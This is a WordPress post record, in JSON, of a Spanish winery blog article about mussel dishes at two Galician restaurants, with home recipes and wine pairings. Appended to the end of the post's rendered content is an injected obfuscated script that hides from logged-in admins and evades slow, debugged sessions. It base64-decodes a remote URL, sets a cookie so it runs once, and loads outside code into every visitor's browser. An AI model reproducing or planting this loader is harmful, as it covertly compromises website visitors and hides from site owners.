{"id":309905,"date":"2023-09-19T08:00:00","date_gmt":"2023-09-19T06:00:00","guid":{"rendered":"https:\/\/bodegasmarquesdevizhoja.com\/?p=309905"},"modified":"2026-03-16T06:12:21","modified_gmt":"2026-03-16T05:12:21","slug":"mejillones-a-la-marinera","status":"publish","type":"post","link":"https:\/\/bodegasmarquesdevizhoja.com\/es\/mejillones-a-la-marinera\/","title":{"rendered":"Mejillones a la marinera, al vapor \u00bfC\u00f3mo los preparas?"},"content":{"rendered":"\n<p>El mejill\u00f3n es un molusco bivalvo muy vers\u00e1til en la cocina gracias a su intenso sabor, su gran tama\u00f1o y su firme textura. Los mejillones a la marinera, al vapor, en salsa o escabeche son las recetas que m\u00e1s triunfan. Sin embargo, Bodegas Marqu\u00e9s de Vizhoja hoy propone otras formas de prepararlo muy originales para dejar a tus comensales con la boca abierta. Eso s\u00ed, acompa\u00f1ados siempre de uno de nuestros vinos.<\/p>\n\n\n\n<p>Como no pod\u00eda ser de otra manera, en Galicia existe un restaurante donde los mejillones son los protagonistas.&nbsp;<\/p>\n\n\n\n<p>No es que tengan un plato estrella en concreto de mejillones sino que en su carta, numerosos platos llevan este molusco. A pesar de que Galicia sea la reina en marisco, los propietarios del local O Caramuxo se dieron cuenta que en la hosteler\u00eda de la zona faltaban lugares gastron\u00f3micos que les sacasen partido. Se limitaban a las recetas tradicionales. Por eso, este restaurante ha querido demostrar que son muy ricos con muchos otros ingredientes que quiz\u00e1 nunca se nos hab\u00eda ocurrido acompa\u00f1ar.&nbsp;&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">O Caramuxo | mix de mejillones<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" src=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-71-1024x576.jpg\" alt=\"\" class=\"wp-image-309945\" srcset=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-71-1024x576.jpg 1024w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-71-300x169.jpg 300w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-71-768x432.jpg 768w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-71-1536x864.jpg 1536w, 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Rosa Ana Villar y Alfonso Garc\u00eda, sus due\u00f1os, miman todos sus platos con especial menci\u00f3n a los mejillones.&nbsp;<\/p>\n\n\n\n<p>Los mejillones los preparan con distintas salsas, pero tambi\u00e9n en elaboraciones como croquetas o empanada. Gracias a la petici\u00f3n de un cliente de querer probar varios tipos de mejillones y no solo una misma raci\u00f3n, naci\u00f3 \u201cel mix\u201d.&nbsp;<\/p>\n\n\n\n<p>Este plato lleva mejillones en vinagreta, en escabeche, en salsa de la casa y mejillones tigre. Los primeros son suaves, llevan aceite, vinagre, cebolla y pimiento picados. Los segundos est\u00e1n ba\u00f1ados en un escabeche casero. Los mejillones en salsa de la casa recuerdan al jugo que da la vieira, con un toque secreto. Por \u00faltimo, los mejillones tigre, est\u00e1n rellenos con bechamel, pican debido a la guindilla y se sirven empanados, detallan.<\/p>\n\n\n\n<figure class=\"wp-block-gallery columns-2 is-cropped wp-block-gallery-2 is-layout-flex wp-block-gallery-is-layout-flex\"><ul class=\"blocks-gallery-grid\"><li class=\"blocks-gallery-item\"><figure><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" src=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-63-1024x576.jpg\" alt=\"\" data-id=\"309939\" data-link=\"https:\/\/bodegasmarquesdevizhoja.com\/?attachment_id=309939\" class=\"wp-image-309939\" srcset=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-63-1024x576.jpg 1024w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-63-300x169.jpg 300w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-63-768x432.jpg 768w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-63-1536x864.jpg 1536w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-63-600x338.jpg 600w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-63-150x84.jpg 150w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-63.jpg 1568w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure><\/li><li class=\"blocks-gallery-item\"><figure><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" src=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-61-1024x576.jpg\" alt=\"\" data-id=\"309942\" data-full-url=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-61.jpg\" data-link=\"https:\/\/bodegasmarquesdevizhoja.com\/?attachment_id=309942\" class=\"wp-image-309942\" srcset=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-61-1024x576.jpg 1024w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-61-300x169.jpg 300w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-61-768x432.jpg 768w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-61-1536x864.jpg 1536w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-61-600x338.jpg 600w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-61-150x84.jpg 150w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-61.jpg 1568w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure><\/li><\/ul><\/figure>\n\n\n\n<p>Un aspecto fundamental a tener en cuenta con esta multi-raci\u00f3n es el maridaje. Al pasar de sabor en poco tiempo es necesario un vino que refresque nuestro paladar para poder degustar a la perfecci\u00f3n otro tipo de mejill\u00f3n.<a href=\"https:\/\/bodegasmarquesdevizhoja.com\/es\/tienda\/123-pescao\/\"> 1, 2, 3 pescao<\/a> (vino blanco), de Bodegas Marqu\u00e9s de Vizhoja es el vino ideal para hacer la transici\u00f3n.\u00a0<\/p>\n\n\n\n<p>Esto no es todo. En O Caramuxo hay m\u00e1s platos con el ingrediente protagonista. \u00bfA qui\u00e9n no le gustan unas ricas croquetas? En este restaurante gallego \u00fanicamente llevan bechamel y mejill\u00f3n. Os aseguramos que no necesitan nada m\u00e1s. Son sencillas y est\u00e1n deliciosas.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-gallery columns-2 is-cropped wp-block-gallery-3 is-layout-flex wp-block-gallery-is-layout-flex\"><ul class=\"blocks-gallery-grid\"><li class=\"blocks-gallery-item\"><figure><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" src=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-65-1024x576.jpg\" alt=\"\" data-id=\"309933\" data-link=\"https:\/\/bodegasmarquesdevizhoja.com\/?attachment_id=309933\" class=\"wp-image-309933\" srcset=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-65-1024x576.jpg 1024w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-65-300x169.jpg 300w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-65-768x432.jpg 768w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-65-1536x864.jpg 1536w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-65-600x338.jpg 600w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-65-150x84.jpg 150w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-65.jpg 1568w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure><\/li><li class=\"blocks-gallery-item\"><figure><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" src=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-58-1-1024x576.jpg\" alt=\"\" data-id=\"309948\" data-full-url=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-58-1.jpg\" data-link=\"https:\/\/bodegasmarquesdevizhoja.com\/?attachment_id=309948\" class=\"wp-image-309948\" srcset=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-58-1-1024x576.jpg 1024w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-58-1-300x169.jpg 300w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-58-1-768x432.jpg 768w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-58-1-1536x864.jpg 1536w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-58-1-600x338.jpg 600w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-58-1-150x84.jpg 150w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-58-1.jpg 1568w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure><\/li><\/ul><\/figure>\n\n\n\n<p>\u00bfOs imaginab\u00e1is tantas combinaciones? Pues a continuaci\u00f3n llega otro local italiano d\u00f3nde tambi\u00e9n les saben sacar mucho partido.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Lo Spaghetto | spaghetti allo scoglio<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" src=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-73-1024x576.jpg\" alt=\"\" class=\"wp-image-309951\" srcset=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-73-1024x576.jpg 1024w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-73-300x169.jpg 300w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-73-768x432.jpg 768w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-73-1536x864.jpg 1536w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-73-600x338.jpg 600w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-73-150x84.jpg 150w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-73.jpg 1568w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p><a href=\"https:\/\/lospaghetto.metro.rest\/?lang=es\">Lo Spaghetto<\/a> es un restaurante coru\u00f1\u00e9s regentado por el italiano, Marco Amore. Tan solo lleva unos meses abierto pero ya se ha hecho un hueco entre sus ciudadanos. Combina lo mejor de cada casa: la elaboraci\u00f3n de la pasta fresca al m\u00e1s puro estilo italiano, con productos de la costa gallega. \u00abAsum\u00ed la gesti\u00f3n del anterior local, donde ya trabajaba, y decid\u00ed llamarle Lo Spaghetto, en honor al primer restaurante que abr\u00ed hace m\u00e1s de 30 a\u00f1os en Valencia\u00bb, se\u00f1ala Amore.<\/p>\n\n\n\n<p>En su carta no encontrar\u00e1s los t\u00edpicos canelones o lasa\u00f1a. Aunque si cuenta con la ic\u00f3nica pasta rag\u00fa o carbonara Marco aprovecha al m\u00e1ximo los productos del mar en sus platos. Como hoy nos estamos centrando en el mejill\u00f3n, Amore nos recuerda una receta emblem\u00e1tica de su pa\u00eds con elaborada con distintos mariscos entre los que se encuentra \u00e9ste bivalvo.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-gallery columns-2 is-cropped wp-block-gallery-4 is-layout-flex wp-block-gallery-is-layout-flex\"><ul class=\"blocks-gallery-grid\"><li class=\"blocks-gallery-item\"><figure><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" src=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-77-1024x576.jpg\" alt=\"\" data-id=\"309954\" data-link=\"https:\/\/bodegasmarquesdevizhoja.com\/?attachment_id=309954\" class=\"wp-image-309954\" srcset=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-77-1024x576.jpg 1024w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-77-300x169.jpg 300w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-77-768x432.jpg 768w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-77-1536x864.jpg 1536w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-77-600x338.jpg 600w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-77-150x84.jpg 150w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-77.jpg 1568w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure><\/li><li class=\"blocks-gallery-item\"><figure><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" src=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-76-1024x576.jpg\" alt=\"\" data-id=\"309957\" data-full-url=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-76.jpg\" data-link=\"https:\/\/bodegasmarquesdevizhoja.com\/?attachment_id=309957\" class=\"wp-image-309957\" srcset=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-76-1024x576.jpg 1024w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-76-300x169.jpg 300w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-76-768x432.jpg 768w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-76-1536x864.jpg 1536w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-76-600x338.jpg 600w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-76-150x84.jpg 150w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-76.jpg 1568w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure><\/li><\/ul><\/figure>\n\n\n\n<p>Se trata del spaghetti allo scoglio. Va acompa\u00f1ado de gambas, almejas, mejillones y se pueden a\u00f1adir otros mariscos que est\u00e9n de temporada en el momento de la preparaci\u00f3n. Por \u00faltimo, la salsa que ba\u00f1a estos productos es de tomate con perejil y un toque picante.<\/p>\n\n\n\n<p>El momento que muchos est\u00e1n deseando saber, \u00bfqu\u00e9 vino le acompa\u00f1a? Marco Amore recomienda la botella <a href=\"https:\/\/bodegasmarquesdevizhoja.com\/es\/tienda\/torre-la-moreira\/\">Torre La Moreira<\/a> (100% albari\u00f1o, D.O. R\u00edas Baixas) de Bodegas Marqu\u00e9s de Vizhoja. El por qu\u00e9 est\u00e1 claro. Es un vino que aporta un tono afrutado perfecto para enlazar la pasta de Italia y los mejillones y el vino de gallegos.<\/p>\n\n\n\n<figure class=\"wp-block-gallery columns-2 is-cropped wp-block-gallery-5 is-layout-flex wp-block-gallery-is-layout-flex\"><ul class=\"blocks-gallery-grid\"><li class=\"blocks-gallery-item\"><figure><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" src=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-74-1024x576.jpg\" alt=\"\" data-id=\"309960\" data-link=\"https:\/\/bodegasmarquesdevizhoja.com\/?attachment_id=309960\" class=\"wp-image-309960\" srcset=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-74-1024x576.jpg 1024w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-74-300x169.jpg 300w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-74-768x432.jpg 768w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-74-1536x864.jpg 1536w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-74-600x338.jpg 600w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-74-150x84.jpg 150w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-74.jpg 1568w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure><\/li><li class=\"blocks-gallery-item\"><figure><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" src=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-75-1024x576.jpg\" alt=\"\" data-id=\"309963\" data-full-url=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-75.jpg\" data-link=\"https:\/\/bodegasmarquesdevizhoja.com\/?attachment_id=309963\" class=\"wp-image-309963\" srcset=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-75-1024x576.jpg 1024w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-75-300x169.jpg 300w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-75-768x432.jpg 768w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-75-1536x864.jpg 1536w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-75-600x338.jpg 600w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-75-150x84.jpg 150w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/1560x882-75.jpg 1568w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure><\/li><\/ul><\/figure>\n\n\n\n<p>Aun as\u00ed Bodegas Marqu\u00e9s de Vizhoja te propone otras recetas para cocinarlas en casa como Turr\u00f3n blando de mejillones y at\u00fan claro, mejillones de leche o en pincho de patatas y el cl\u00e1sico mejillones a la marinera.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Turr\u00f3n blando de mejillones y at\u00fan<\/h2>\n\n\n\n<p>Tranquilos, no nos estamos adelantando a las navidades. Para esa \u00e9poca todav\u00eda queda mucho tiempo. Y s\u00ed, has le\u00eddo bien, turr\u00f3n. Mejor dicho es un trampantojo de turr\u00f3n. Tiene su mismo aspecto, tama\u00f1o y forma pero obviamente, al llevar mejill\u00f3n y at\u00fan su sabor predominante es el salado.&nbsp;<\/p>\n\n\n\n<p>Para su preparaci\u00f3n, necesitamos batir los mejillones con at\u00fan en conserva y&nbsp; queso crema. La mezcla da el color al turr\u00f3n blando de almendras t\u00edpico en Navidad. Por otro lado, integramos las hojas de gelatina a la mezcla que previamente han sido mojadas en agua y secadas. Despu\u00e9s dejamos gelificar durante dos horas en la nevera la mezcla en unas casillas de silicona (esto le da la forma al turr\u00f3n). Por \u00faltimo, los sacamos de la silicona y \u00a1listo!, r\u00e1pido, sencillo, rico y muy original.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Mejillones de leche<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"683\" height=\"1024\" src=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/pexels-zachariah-schrueder-5056675-683x1024.jpg\" alt=\"\" class=\"wp-image-309966\" srcset=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/pexels-zachariah-schrueder-5056675-683x1024.jpg 683w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/pexels-zachariah-schrueder-5056675-200x300.jpg 200w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/pexels-zachariah-schrueder-5056675-768x1152.jpg 768w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/pexels-zachariah-schrueder-5056675-1024x1536.jpg 1024w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/pexels-zachariah-schrueder-5056675-1365x2048.jpg 1365w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/pexels-zachariah-schrueder-5056675-300x450.jpg 300w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/pexels-zachariah-schrueder-5056675-600x900.jpg 600w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/pexels-zachariah-schrueder-5056675-150x225.jpg 150w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/pexels-zachariah-schrueder-5056675-scaled.jpg 1707w\" sizes=\"auto, (max-width: 683px) 100vw, 683px\" \/><\/figure>\n\n\n\n<p>Seguramente est\u00e9is pensado \u201cotra receta extra\u00f1a\u201d. Pues de nuevo, se trata de un plato f\u00e1cil de hacer y muy socorrido. Para su preparaci\u00f3n necesitamos picar jengibre, media cebolla morada, apio y cilantro. Los ponemos en un bol y a\u00f1adimos el l\u00edquido de cocci\u00f3n filtrado de los mejillones que previamente han sido cocidos al vapor. Tambi\u00e9n vertemos un yogur, la pasta de aj\u00ed amarillo y zumo de lima. Lo trituramos. Despu\u00e9s vertemos la salsa en una jarra y rellenamos las valvas de los mejillones. Como toque final, adornamos los mejillones con un poco de cebolla morada para darle color.&nbsp;<\/p>\n\n\n\n<p>\u00bfQue no est\u00e1 bueno? Prueba a hacer la receta y nos cuentas. Eso s\u00ed, siempre acompa\u00f1ado del vino blanco Marqu\u00e9s de Vizhoja. \u00c9ste le aportar\u00e1 un tono afrutado que contrastar\u00e1 sobre todo con la cebolla morada.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Pincho de patata y mejill\u00f3n<\/h2>\n\n\n\n<p>Primero comenzamos con la salsa. Para ello, mezclamos el l\u00edquido que dejan los mejillones en escabeche y lo mezclamos con mayonesa. Cocemos unas patatas \u201cbaby\u201d con piel y una vez listas y les quitamos la punta para que se sostengan en el plato. A continuaci\u00f3n, a\u00f1adimos un poco de pimiento del padr\u00f3n asado y un mejill\u00f3n con un palillo. Finalmente, agregamos la salsa y espolvoreamos con queso parmesano.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Mejillones a la marinera, un cl\u00e1sico<\/h2>\n\n\n\n<p>Dado que las recetas hasta ahora de mejillones han sido poco convencionales, vamos a volver a un cl\u00e1sico, a los mejillones a la marinera. En los hogares gallegos es muy t\u00edpico este plato por su extraordinario sabor.&nbsp;<\/p>\n\n\n\n<p>Una vez lavados los mejillones, para preparar la salsa hay que picar cebolla y ponerla a pochar. Cuando est\u00e9 dorada se incorpora el perejil picado. Seguidamente se vierten unas cucharadas harina y dejamos hasta que tome color sin parar de remover.<\/p>\n\n\n\n<p>El siguiente paso es verter el caldo de la cocci\u00f3n del marisco, el vino blanco y un poco de piment\u00f3n. Mezclamos bien todos los ingredientes y dejamos cocer unos 5 minutos. Cuando la salsa ya est\u00e1 en la olla de los mejillones se deja cocer unos 1 \u00f3 2 minutos a fuego medio, meneando de vez en cuando para que la salsa espese y no se pegue al fondo. Dejamos unos minutillos reposar a la salsa y \u00a1listo!<\/p>\n\n\n\t\t<div class=\"web-stories-list alignnone has-archive-link is-view-type-circles is-style-default is-carousel\" data-id=\"1\">\n\t\t\t<div\n\t\t\tclass=\"web-stories-list__inner-wrapper carousel-1\"\n\t\t\tstyle=\"--ws-circle-size:96px\"\n\t\t\t>\n\t\t\t\t\t\t<div class=\"web-stories-list__archive-link\">\n\t\t\t<a href=\"https:\/\/bodegasmarquesdevizhoja.com\/es\/web-stories\/\">\n\t\t\t\tVer todas las historias\t\t\t<\/a>\n\t\t<\/div>\n\t\t\t\t\t\t\t<div\n\t\t\t\t\tclass=\"web-stories-list__carousel circles\"\n\t\t\t\t\tdata-id=\"carousel-1\"\n\t\t\t\t\tdata-prev=\"Anterior\"\n\t\t\t\t\tdata-next=\"Siguiente\"\n\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t<div\n\t\t\t\tclass=\"web-stories-list__story\"\n\t\t\t\tdata-wp-interactive=\"web-stories-block\"\n\t\t\t\tdata-wp-context='{\"instanceId\":1}'\t\t\t\tdata-wp-on--click=\"actions.open\"\n\t\t\t\tdata-wp-on-window--popstate=\"actions.onPopstate\"\n\t\t\t\t>\n\t\t\t\t\t\t\t<div class=\"web-stories-list__story-poster\">\n\t\t\t\t<a href=\"https:\/\/bodegasmarquesdevizhoja.com\/es\/web-stories\/los-mejillones\/\" >\n\t\t\t\t\t<img\n\t\t\t\t\t\tsrc=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/cropped-1560x882-80-1-640x853.jpg\"\n\t\t\t\t\t\talt=\"Los mejillones&#8230;\"\n\t\t\t\t\t\twidth=\"185\"\n\t\t\t\t\t\theight=\"308\"\n\t\t\t\t\t\t\t\t\t\t\t\t\tsrcset=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/cropped-1560x882-80-1.jpg 640w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/cropped-1560x882-80-1-225x300.jpg 225w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/cropped-1560x882-80-1-300x400.jpg 300w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/cropped-1560x882-80-1-600x800.jpg 600w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/09\/cropped-1560x882-80-1-150x200.jpg 150w\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tsizes=\"auto, (max-width: 640px) 100vw, 640px\"\n\t\t\t\t\t\t\t\t\t\t\t\tloading=\"lazy\"\n\t\t\t\t\t\tdecoding=\"async\"\n\t\t\t\t\t>\n\t\t\t\t<\/a>\n\t\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<div tabindex=\"0\" aria-label=\"Anterior\" class=\"glider-prev\"><\/div>\n\t\t\t\t\t<div tabindex=\"0\" aria-label=\"Siguiente\" class=\"glider-next\"><\/div>\n\t\t\t\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>El mejill\u00f3n es un molusco bivalvo muy vers\u00e1til en la cocina gracias a su intenso sabor, su gran tama\u00f1o y su firme textura. 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